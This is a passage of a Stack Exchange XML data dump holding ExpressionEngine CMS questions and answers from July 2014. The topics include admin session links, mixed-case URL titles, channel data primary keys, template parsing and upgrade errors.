do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;greets&#xA;Rick&lt;/p&gt;&#xA;" OwnerUserId="3055" LastActivityDate="2014-07-17T08:43:38.920" Title="Creating link from website to backside admin" Tags="|members|admin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24476" PostTypeId="2" ParentId="24475" CreationDate="2014-07-17T08:40:37.930" Score="0" Body="&lt;p&gt;You need to set the admin session type to &quot;Cookie Only&quot; - this will remove the S=**** part of the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read up on how to change this setting + implications of changing it here:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2014-07-17T08:40:37.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24477" PostTypeId="2" ParentId="24475" CreationDate="2014-07-17T08:43:38.920" Score="0" Body="&lt;p&gt;starting from 2.9 there is a new variable to link to the backend.&#xA;For older versions either change admin - security settings to use cookies and/or session (try if that works). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use a bit of code in a plugin or extension to make the session_id available to the template. See &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10874/linking-to-admin-from-the-main-site-session-parameter/10880&quot;&gt;linking to admin from the main site - session parameter&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-07-17T08:43:38.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24478" PostTypeId="1" CreationDate="2014-07-17T09:28:41.773" Score="1" ViewCount="96" Body="&lt;p&gt;I know hacking the EE source is discouraged, but since there is no option for preserving title case in urls (that is, not reverting everything to lower case), it is something I've been stuck doing for years. I had some initial help figuring out where I needed to make changes, but that was on EE 1.x and I am a bit concerned that I am actually editing more than I need to edit now that I am on 2.x. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I do is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In system/expressionengine/modules/channel/libaries/channel_form/Channel_form_lib.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I comment out NewText = NewText.toLowerCase();&#xA;&#xA;I also add “A-Z” to NewText = NewText.replace(/[^a-z0-9-_]/g,''); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In system/expressionengine/helpers/EE_url_helper.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I remove strtolower() from this section&#xA;&#xA;        if ($lowercase === TRUE)&#xA;        {&#xA;            $str = strtolower($str);    &#xA;        }&#xA;&#xA;I also add &quot;A-Z&quot; to [^a-z0-9\-\._]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In themes/javascript/compressed/jquery/plugins/ee_url_title.js &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;I remove .toLowerCase() and I add A-Z to [^a-zA-Z0-9\-\._]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I in fact editing some sections that don't need to be edited in order to preserve url titles with the same case as titles? Less editing for each update would of course be welcome.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-07-17T09:28:41.773" Title="Edits needed to allow mixed-case url titles?" Tags="|url-title|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24479" PostTypeId="1" AcceptedAnswerId="24481" CreationDate="2014-07-17T09:53:20.100" Score="1" ViewCount="73" Body="&lt;p&gt;I am working on a site with EE where the client is having some of the data pushed into to the MySQL database from a external FilemakerPro database. I'm working with an external company who handle the clients database for them and in order to push the data through they need to know how the exp_channel_data table allocates it's primary key. Apparently looking at the setting in MySQL, it's the only pertinent table which doesn't do it automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone shed any light on this?&#xA;Many thanks.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-07-17T12:42:30.667" Title="How does exp_channel_data table allocate it's primary key?" Tags="|database|mysql|table|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24481" PostTypeId="2" ParentId="24479" CreationDate="2014-07-17T10:57:49.173" Score="1" Body="&lt;p&gt;The primary key for entries are generated in the exp_channel_titles table. When the entry is created the data first goes there and then it inserts into the exp_channel_data table using the same key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;In Api_channel_entries.php these two functions are called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;insert('channel_titles', $meta);&#xA;$this-&amp;gt;entry_id = ee()-&amp;gt;db-&amp;gt;insert_id();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ee()-&gt;db-&gt;insert_id() is a link to code igniter's mysql function that is a call to the php function mysql_insert_id() (or your other types of databases' function call). After that call in api_channel_entries, it uses that id to insert all the data into the channel entries table.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-07-17T12:42:30.667" LastActivityDate="2014-07-17T12:42:30.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24482" PostTypeId="2" ParentId="24473" CreationDate="2014-07-17T12:41:38.083" Score="1" Body="&lt;p&gt;No, the Search module will &lt;em&gt;not&lt;/em&gt; look in any related entries when determining if your search terms match a particular entry.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-17T12:41:38.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24483" PostTypeId="1" AcceptedAnswerId="24487" CreationDate="2014-07-17T12:51:23.153" Score="0" ViewCount="94" Body="&lt;p&gt;Before I take the leap and upgrade to EE 2.9.0, I would like to make sure the CT 2.6 is compatible. Has anyone else had experience with this? Is it safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-07-17T14:00:40.163" Title="Is Cartthrob 2.6 compatible with EE 2.9.0?" Tags="|cartthrob|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24484" PostTypeId="1" CreationDate="2014-07-17T13:38:27.473" Score="0" ViewCount="128" Body="&lt;p&gt;I have a page that shows tips by month. It works well but for some odd reason, the &lt;code&gt;{exp:channel:entries channel=&quot;tips&quot;}&lt;/code&gt; does not return all tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I query the database:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT t.entry_id AS query_entry_id FROM &#xA;exp_channel_titles t, exp_channel_data d WHERE t.entry_id = d.entry_id &#xA;and t.year='{segment_3}' and t.month='{segment_4}' and t.channel_id='3' &#xA;order by t.entry_date desc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then use &lt;code&gt;{exp:channel:entries channel=&quot;tips&quot;}&lt;/code&gt;. &lt;code&gt;{total_results)&lt;/code&gt; shows 4 but the same tip is repeated 4 times instead of 4 different tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the URL to understand better:&#xA;&lt;a href=&quot;http://www.neatfreak.com/index.php/site/tips/2014/07/&quot; rel=&quot;nofollow&quot;&gt;http://www.neatfreak.com/index.php/site/tips/2014/07/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bottom line, I have around 85 tips but it only shows a few. The dates and the channel on all tips are correct.&lt;/p&gt;&#xA;" OwnerUserId="3370" LastEditorUserId="6825" LastEditDate="2015-12-11T15:26:47.153" LastActivityDate="2015-12-11T15:26:47.153" Title="GraySquare: exp:channel:entries does not show all entries" Tags="|channel-entries|channel|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24485" PostTypeId="2" ParentId="24422" CreationDate="2014-07-17T13:38:37.813" Score="0" Body="&lt;p&gt;after trying everything, i blew away the files and reuploaded. now all works. &lt;/p&gt;&#xA;" OwnerUserId="2826" LastActivityDate="2014-07-17T13:38:37.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24486" PostTypeId="1" AcceptedAnswerId="24492" CreationDate="2014-07-17T13:55:08.297" Score="0" ViewCount="93" Body="&lt;p&gt;I have a 2.5.2 MSM site that I want to bring up to 2.9.&#xA;I have already updated the addons to the latest versions, but I'm not sure at what stage to update the MSM version.&#xA;I've just installed Updater and can't see any reference to MSM.&#xA;Do I update MSM first?&lt;/p&gt;&#xA;" OwnerUserId="483" LastActivityDate="2014-07-17T15:56:38.723" Title="Process to update an MSM site with Updater" Tags="|devdemon-updater|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24487" PostTypeId="2" ParentId="24483" CreationDate="2014-07-17T14:00:40.163" Score="1" Body="&lt;p&gt;Updated today and did quite a lot of testing. No issues so far. They mentioned they'd been using it with the 2.9 preview. &lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-07-17T14:00:40.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24488" PostTypeId="2" ParentId="22144" CreationDate="2014-07-17T14:14:35.670" Score="0" Body="&lt;p&gt;Eventually used Postmaster and created a hook to send a custom_field notifcation&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="433" LastEditDate="2014-07-17T14:38:51.920" LastActivityDate="2014-07-17T14:38:51.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24489" PostTypeId="2" ParentId="24486" CreationDate="2014-07-17T14:35:05.940" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/updater&quot; rel=&quot;nofollow&quot;&gt;Updater&lt;/a&gt; module works for third-party add-ons. You couldn't update MSM with it. If you have latest version of ExpressionEngine, just update the MSM files of latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See instruction here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/install.html&quot; rel=&quot;nofollow&quot;&gt;Install/Update Multiple Site Manager&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have already setup MSM, you would follow the Step 2.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2014-07-17T14:35:05.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24490" PostTypeId="1" CreationDate="2014-07-17T14:46:13.977" Score="0" ViewCount="94" Body="&lt;p&gt;I am using ExpressionEngine 2.8.1 with Antenna 1.26&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;uploaded_videos&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; status=&quot;open&quot; dynamic=&quot;no&quot;}&#xA;          &amp;lt;div class=&quot;col featured-business&quot;&amp;gt;&#xA;          &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink='visit/videos/'}&quot; class=&quot;more&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;{ee_video_url}&amp;lt;/p&amp;gt;&#xA;            {exp:antenna url='{ee_video_url}' max_width=&quot;232&quot; max_height=&quot;323&quot; cache_minutes=&quot;0&quot;}&#xA;            &amp;lt;a href=&quot;{title_permalink='visit/videos/'}&quot;&amp;gt;&amp;lt;img src=&quot;{video_thumbnail}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            {if embed_code}&#xA;            It worked! {embed_code}&#xA;            {if:else}&#xA;            No video to display here.&#xA;            {/if}&#xA;            {video_title}&#xA;            {/exp:antenna}&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;a href=&quot;{title_permalink='visit/videos/'}&quot; title=&quot;View&quot; class=&quot;more&quot;&amp;gt;Watch Video&amp;amp;hellip;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within exp:antenna url='' hardcoding a youtube video url works perfectly fine. However as soon as I enter {ee_video_url} it doesn't work. But I have displayed {ee_video_url} above this within the p tags so i know it is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is baffling me as logically it should work to remove a hardcoded url and replace it with a variable one, any help on this would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2014-09-16T11:16:44.793" Title="Antenna: a href='http://www.site.com' works but a href='{url}' doesn't" Tags="|url|video|antenna|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24491" PostTypeId="1" CreationDate="2014-07-17T15:34:32.183" Score="0" ViewCount="149" Body="&lt;p&gt;I'm using both the Wygwam and Editor plugins however on saving an entry any inline styles (such as image width and height) appear as  Does anyone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2016-08-04T13:17:48.133" Title="Why are Wygwam and Editor inline styles corrupting on save" Tags="|wygwam|wysiwyg|editor|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24492" PostTypeId="2" ParentId="24486" CreationDate="2014-07-17T15:56:38.723" Score="1" Body="&lt;p&gt;Updating a MSM site is just like a normal EE site. Nothing is different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Updater can also update the MSM files itself, just upload the original MSM zip file.&lt;br&gt;&#xA;Note 2: Be sure to make backups, Updater works almost always, but it's better to be safe then sorry.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2014-07-17T15:56:38.723" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24493" PostTypeId="1" CreationDate="2014-07-17T16:41:35.490" Score="0" ViewCount="60" Body="&lt;p&gt;Is there a way to have an e-mail notification sent to one or more addresses when a Member updates their information?&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-10-04T19:38:16.890" Title="Can an e-mail notification be sent when a member updates their profile?" Tags="|members|email|notification|member-management|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24494" PostTypeId="2" ParentId="24491" CreationDate="2014-07-17T17:04:28.573" Score="0" Body="&lt;p&gt;Do you have the “Restrict allowed HTML?” option turned on in your settings? That can sometimes remove inline styles you apply.&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-07-17T17:04:28.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24495" PostTypeId="2" ParentId="24364" CreationDate="2014-07-17T17:16:18.693" Score="0" Body="&lt;p&gt;Have you tried an alternate combo? Rather than running 2 conditionals to check if someone is either logged in or out, trying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;   ...&#xA;   ...&#xA;   {embed=&quot;foo/bar&quot;}&#xA;   ...&#xA;   ...&#xA;{if:else}&#xA;   ...&#xA;   ...&#xA;   ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-07-17T17:16:18.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24496" PostTypeId="2" ParentId="24364" CreationDate="2014-07-17T18:01:16.560" Score="0" Body="&lt;p&gt;There are many options. Here's a fun one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;Mo' Variables&lt;/a&gt; (for free) and do this. Also, make sure template caching for the embed is turned off.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id != &quot;&quot;}&#xA;   ...&#xA;   ...&#xA;   {embed=&quot;foo/bar&quot;}&#xA;   ...&#xA;   ...&#xA;{/if}&#xA;{if logged_in_member_id == &quot;&quot;}&#xA;   ...&#xA;   ...&#xA;   ...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-07-17T18:01:16.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24497" PostTypeId="2" ParentId="21253" CreationDate="2014-07-17T19:37:45.587" Score="1" Body="&lt;p&gt;Whenever I encounter this issue, I always find it's either because of permissions or the path. If your permissions are all fine, you might double-check the path with the host, just to make sure. Doing so has cleared up this problem for me in the past (even when it seemed the path was correct).&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2014-07-17T19:37:45.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24499" PostTypeId="1" AcceptedAnswerId="25632" CreationDate="2014-07-17T20:50:31.243" Score="0" ViewCount="522" Body="&lt;p&gt;I'm trying to remove the timestamp from the EE date fieldtype since for my application it isn't necessary. I need to be able to select two dates a start and end date that should be formatted like like this &quot;%F %d %Y&quot; and without any time stamping. I do need to also have a start and end time but they are not going to be the same as the current time the form is filled out as inserted by the date fieldtype. I plan on using dropdate for my start and end times but I first need to get these time stamps removed. I thought about having users just type the date in but the calendar selector is a nice feature to just ignore because of this time stamp. Is there anyway to accomplish the removal of the time stamp from the EE date fieldtype on EE 2.5.2? I'd rather not modify the core but willing to do so if I can achieve what I need, thanks in advance for any tips or suggestions!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-01-06T19:13:01.627" Title="Can you remove the timestamp from the value generated by the EE date fieldtype?" Tags="|fieldtype|date|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24500" PostTypeId="1" CreationDate="2014-07-17T20:58:16.567" Score="0" ViewCount="66" Body="&lt;p&gt;I use this code using exp:math plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;planilla_de_indicadores&quot; limit=&quot;10&quot;}&#xA;&#xA;{exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps_talleres1: 50 | ps_talleres2: 200 | Result: &lt;strong&gt;25&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is i need to use the result in a conditional like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;} &amp;gt;= &quot;50&quot;}&#xA;&#xA;&amp;lt;span class=&quot;badge badge-warning&quot;&amp;gt;&#xA;{exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;}%&#xA;&amp;lt;/span&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As expected; it doesn't work as plugin and tmp parsing order. &#xA;After some google i think maybe &quot;Pre-embed&quot; or &quot;stash&quot; might help... I saw a few answers pointing to &quot;turn plugin into a tag pair&quot; but not sure how.&lt;/p&gt;&#xA;" OwnerUserId="3374" LastActivityDate="2014-09-16T23:21:43.297" Title="Using plugin results within channel tags" Tags="|parse-order|math|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24501" PostTypeId="2" ParentId="24484" CreationDate="2014-07-17T22:17:02.170" Score="1" Body="&lt;p&gt;show_expired=&quot;yes&quot; show_future_entries=&quot;no&quot; helped !&lt;/p&gt;&#xA;" OwnerUserId="3370" LastActivityDate="2014-07-17T22:17:02.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24503" PostTypeId="1" AcceptedAnswerId="24529" CreationDate="2014-07-18T01:26:22.300" Score="1" ViewCount="34" Body="&lt;p&gt;Is there a hook I can use when a friend request is made in Solspace Friends add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a friend request is made, I want to send a notification to the &quot;friendee&quot; (e.g. by email, Ajax notification, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current &lt;a href=&quot;http://www.solspace.com/docs/friends/extension_hooks/&quot; rel=&quot;nofollow&quot;&gt;list of hooks&lt;/a&gt; do not seem to offer me a hook that I can use.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-07-19T05:22:30.917" Title="Solspace Friends - Friend Request Hook" Tags="|solspace|hook|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24504" PostTypeId="2" ParentId="24499" CreationDate="2014-07-18T05:09:48.193" Score="1" Body="&lt;p&gt;Can you simply remove the timestamp after the fact with something like CE String?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, don't use the EE date field at all. Set up your own custom field, use a javscript calendar like jQuery UI Datepicker, and then you can format it exactly as you like.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-07-18T05:09:48.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24505" PostTypeId="1" CreationDate="2014-07-18T05:29:20.983" Score="3" ViewCount="73" Body="&lt;p&gt;We recently upgraded from 2.7.3 to 2.8.1 and our Apache/PHP CPU usage has skyrocketed. MySQL usage has stayed about the same... no notable impact there, but we're definitely chewing more processing time with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We updated all of our add-ons, etc., separately so I think the only thing that changed in concert with the CPU load is the actual EE Core to 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything in there that would cause this? We use eAccelerator and that's still running and caching all the new scripts, but it sure &lt;em&gt;seems&lt;/em&gt; like it's not running. That or, more likely, something else is just not jiving right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3339" LastActivityDate="2014-12-02T20:24:04.073" Title="CPU Usage Doubled Upgrading from 2.7.3 to 2.8.1" Tags="|ee2-upgrades|loading-time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24506" PostTypeId="1" AcceptedAnswerId="25634" CreationDate="2014-07-18T05:58:10.610" Score="3" ViewCount="999" Body="&lt;p&gt;I’m attempting to upgrade from 2.1.3 to 2.9 (I realize this should have been done before now; just took over this site recently). The upgrade fails at 2.5.5 with the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column ‘protect_javascript’ in ‘field list’&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;UPDATE &lt;code&gt;exp_templates&lt;/code&gt; SET &lt;code&gt;template_id&lt;/code&gt; = ‘36’, &lt;code&gt;site_id&lt;/code&gt; = ‘1’, &lt;code&gt;group_id&lt;/code&gt; = ‘10’, &gt;&lt;code&gt;template_name&lt;/code&gt; = ‘.client_name’, &lt;code&gt;save_template_file&lt;/code&gt; = ‘n’, &lt;code&gt;template_type&lt;/code&gt; = ‘webpage’, &gt;&lt;code&gt;template_data&lt;/code&gt; = ‘{exp:channel:entries channel=\&quot;projects\&quot; entry_id=\&quot;{embed:project_entry_id}\” limit=\“1\” dynamic=\“off\”}\n\n{work_client}{work_client:title}{/work_client}\n\n{/exp:channel:entries}’, &lt;code&gt;template_notes&lt;/code&gt; = ‘’, &lt;code&gt;edit_date&lt;/code&gt; = 1405662666, &gt;&lt;code&gt;last_author_id&lt;/code&gt; = ‘1’, &lt;code&gt;cache&lt;/code&gt; = ‘n’, &lt;code&gt;refresh&lt;/code&gt; = ‘0’, &lt;code&gt;no_auth_bounce&lt;/code&gt; = ‘’, &gt;&lt;code&gt;enable_http_auth&lt;/code&gt; = ‘n’, &lt;code&gt;allow_php&lt;/code&gt; = ‘n’, &lt;code&gt;php_parse_location&lt;/code&gt; = ‘o’, &lt;code&gt;hits&lt;/code&gt; = ‘0’, &gt;&lt;code&gt;protect_javascript&lt;/code&gt; = NULL WHERE &lt;code&gt;site_id&lt;/code&gt; = ‘1’ AND &lt;code&gt;template_id&lt;/code&gt; = ‘36’&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: /home/skeo/webapps/skeo_dev/system/expressionengine/models/template_model.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 389&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried manually adding a protect_javascript column of type char(1) (guessed based on documentation) but I still get the error. Anyone encountered this? I’ve seen discussion of this happening in other upgrades with other fields but not this one.&lt;/p&gt;&#xA;" OwnerUserId="3375" LastActivityDate="2014-09-11T09:24:16.253" Title="Upgrade error: Unknown column ‘protect_javascript’ in ‘field list’" Tags="|database|upgrade|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24508" PostTypeId="2" ParentId="24490" CreationDate="2014-07-18T08:28:31.580" Score="2" Body="&lt;p&gt;Solved the issue thank you everyone, I only discovered what was happening after using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{ee_video_url}&quot;&amp;gt;{ee_video_url}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ended up displaying my link with added p tags like so as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;http://www.youtube.co.uk/exampleurl&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;p&gt;It seems that within the channel field for the video URL, it had a default formatting of XHTML.&lt;/p&gt;&lt;p&gt;This needed changing to NONE and was why the channel field was automatically adding the p tags either side of the URL in browser for me. Which meant the embed didn't work.&lt;/p&gt;&lt;p&gt;After removing the formatting on the channel field in expression engine the embed now works perfectly.&lt;/p&gt;&lt;p&gt;Thank to all who answered, I will leave this up for anyone who has a future issue with this.&lt;/p&gt;&lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2014-07-18T08:28:31.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24509" PostTypeId="2" ParentId="24506" CreationDate="2014-07-18T10:02:08.507" Score="2" Body="&lt;p&gt;Quick dirty nasty fix to get you out of a hole. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is was having a problem with the contents of a template when I ran into this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to your exp_templates table and find the offending template. (in your case it's '36')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove template data and leave it blank. (obviously store this somewhere for later retrieval)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add your template data back (in CP or in TPL dir) and see what EE complains about.&lt;/p&gt;&#xA;" OwnerUserId="173" LastEditorUserId="173" LastEditDate="2014-07-18T13:22:45.847" LastActivityDate="2014-07-18T13:22:45.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24510" PostTypeId="1" AcceptedAnswerId="24522" CreationDate="2014-07-18T10:13:03.480" Score="0" ViewCount="220" Body="&lt;p&gt;I'm using EE 2.7.3 and would like to know if it's possible to increase the default expiration time (24 hours) on the outgoing link in the reset password routine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-07-18T16:03:11.293" Title="Possible to increase password expiration link from 24 hours?" Tags="|password|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24511" PostTypeId="2" ParentId="24279" CreationDate="2014-07-18T11:06:08.590" Score="0" Body="&lt;p&gt;Strange, start_on is definitely working to restrict the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will look into your suggestions. Temporarily I've done two searches, one to restrict the results for output (via an embed) and the other to get the count and this seems to be working - popped an &lt;code&gt;{if '{count}' == '{absolute_results}'}&lt;/code&gt; and then output the count.&lt;/p&gt;&#xA;" OwnerUserId="3334" LastActivityDate="2014-07-18T11:06:08.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
